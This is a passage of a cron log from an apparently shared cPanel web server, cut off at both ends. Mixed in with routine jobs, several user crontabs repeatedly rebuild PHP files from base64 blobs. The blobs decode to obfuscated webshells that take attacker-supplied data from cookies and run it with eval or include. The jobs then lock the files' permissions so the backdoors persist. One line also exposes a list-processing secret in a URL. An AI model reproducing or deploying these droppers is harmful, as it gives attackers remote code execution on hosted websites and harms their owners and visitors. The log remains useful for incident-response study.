R5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:13:02 medusa CROND[26444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:13:02 medusa CROND[26450]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:13:02 medusa CROND[26454]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:13:02 medusa CROND[26455]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:13:02 medusa CROND[26456]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:13:02 medusa CROND[26460]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:13:02 medusa CROND[26461]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 03:13:02 medusa CROND[26477]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:13:02 medusa CROND[26478]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:14:01 medusa CROND[1786]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:14:01 medusa CROND[1787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:14:01 medusa CROND[1788]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:14:02 medusa CROND[1816]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:14:02 medusa CROND[1817]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:14:02 medusa CROND[1818]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:14:02 medusa CROND[1820]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:14:02 medusa CROND[1822]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:14:02 medusa CROND[1823]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:14:02 medusa CROND[1824]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:14:02 medusa CROND[1838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:14:02 medusa CROND[1840]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:14:02 medusa CROND[1846]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:15:01 medusa CROND[8075]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:15:01 medusa CROND[8078]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:15:01 medusa CROND[8108]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:15:01 medusa CROND[8208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:15:02 medusa CROND[8257]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:15:02 medusa CROND[8258]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:15:02 medusa CROND[8260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:15:02 medusa CROND[8262]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:15:02 medusa CROND[8259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:15:02 medusa CROND[8263]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:15:02 medusa CROND[8266]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:15:02 medusa CROND[8268]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:15:02 medusa CROND[8269]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 03:15:02 medusa CROND[8270]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:15:02 medusa CROND[8271]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnI